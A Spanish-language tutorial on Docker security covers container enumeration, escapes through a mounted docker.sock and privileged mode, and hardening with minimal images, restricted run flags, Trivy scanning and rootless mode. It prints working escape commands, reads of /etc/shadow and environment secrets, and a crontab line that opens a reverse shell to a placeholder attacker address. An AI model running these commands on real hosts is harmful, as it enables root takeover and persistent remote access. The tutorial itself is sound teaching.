Docker es omnipresente en infraestructuras modernas, pero una configuración incorrecta puede exponer el host o toda la red interna. Los contenedores no son máquinas virtuales completas; comparten el mismo kernel que el host subyacente. Este proyecto cubre los ataques más comunes y las medidas de hardening profundas.
La seguridad de Docker se basa en dos características del Kernel de Linux:
Si consigues una reverse shell en un servidor, el primer paso es comprobar si estás "encerrado" en un contenedor.
# Verificar si estamos en un contenedor:
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv # Este archivo suele existir en la raíz
# Información del sistema y variables de entorno:
cat /etc/os-release
env | grep -iE "pass|secret|token|key|db_|api" # Fuga clásica de credenciales
# Comprobar si el sistema de archivos es overlay (típico de contenedores):
mount | grep overlay
# Capacidades (Capabilities) del proceso actual:
cat /proc/self/status | grep CapEff
# Decodificar el hexadecimal resultante:
capsh --decode=0000000000003000
El socket de Docker (/var/run/docker.sock) es el archivo UNIX que el demonio de Docker usa para comunicarse con la CLI. Si un desarrollador monta este socket dentro de un contenedor (ej. para CI/CD como Jenkins o Portainer), está otorgando acceso root total al host.
# 1. Comprobar si el socket está montado:
ls -la /var/run/docker.sock
# 2. Explotación — Crear un nuevo contenedor que monte la raíz del host (/) en /mnt:
# Al usar el socket, le estamos dando la orden al demonio del host, no al contenedor actual.
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh
# 3. ¡Estás en el host como root! Ahora puedes leer contraseñas o añadir persistencia:
cat /etc/shadow
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/atacante_ip/4444 0>&1'" >> /etc/crontab
Has comprometido una aplicación web y tienes una terminal interactiva (shell) dentro de su contenedor Docker. Tras investigar, descubres que el administrador ha montado imprudentemente /var/run/docker.sock. Demuestra tu habilidad escribiendo el comando exacto para escapar hacia el host.
Ejecutar un contenedor con el flag --privileged desactiva casi todos los mecanismos de seguridad de Docker. Permite al contenedor acceder a todos los dispositivos de hardware del host.
# 1. Detectar modo privilegiado revisando los discos de hardware:
fdisk -l
# 2. Si ves el disco físico del host (ej. /dev/sda1), móntalo:
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# 3. Leer los ficheros del host:
cat /mnt/host/etc/shadow
La seguridad empieza en el momento de crear la imagen. Reglas de oro:
# ❌ MAL: Imagen pesada, usuario root por defecto, secretos cacheados
FROM ubuntu:latest
ENV DB_PASSWORD=supersecret123
RUN apt-get install -y curl
COPY . /app
# ✅ BIEN: Imagen minimalista, usuario sin privilegios, dependencias exactas
FROM python:3.12-alpine
# Crear usuario y grupo no privilegiado (ID 1000)
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
WORKDIR /app
COPY --chown=appuser:appgroup requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY --chown=appuser:appgroup . .
# Cambiar del root al usuario creado
USER appuser
EXPOSE 8080
CMD ["python", "app.py"]
Al ejecutar un contenedor (docker run), debes aplicar el principio de menor privilegio.
docker run \
--read-only \ # 1. Evita que el atacante modifique archivos o instale malware
--tmpfs /tmp \ # 2. Permite escritura solo en memoria temporal
--no-new-privileges \ # 3. Bloquea el uso de binarios SUID (escalada de privilegios)
--cap-drop ALL \ # 4. Quita TODOS los permisos del kernel
--cap-add NET_BIND_SERVICE \ # 5. Añade solo el permiso necesario (ej. abrir puerto 80)
--memory 512m \ # 6. Evita DoS de memoria
--cpus 0.5 \ # 7. Evita DoS de CPU
--security-opt seccomp=default.json \ # 8. Filtra llamadas al sistema opertivo (Syscalls)
mi-imagen-segura:latest
Nunca confíes ciegamente en imágenes de Docker Hub. Las imágenes base contienen vulnerabilidades (CVEs) que heredarás.
# Escanear imágenes localmente usando Trivy (Aqua Security):
trivy image nginx:latest
trivy image --severity HIGH,CRITICAL mi-app-interna:v1.2
# Activar Docker Content Trust (DCT) para exigir que las imágenes estén firmadas digitalmente:
export DOCKER_CONTENT_TRUST=1
docker pull ubuntu:latest # Fallará si la imagen no tiene firma validada
La máxima recomendación de seguridad hoy en día. Consiste en ejecutar el demonio de Docker y los contenedores bajo un usuario sin privilegios del host (en lugar de root). Si ocurre una vulnerabilidad de escape, el atacante solo tendrá los permisos del usuario local de bajos privilegios, no será el `root` de la máquina.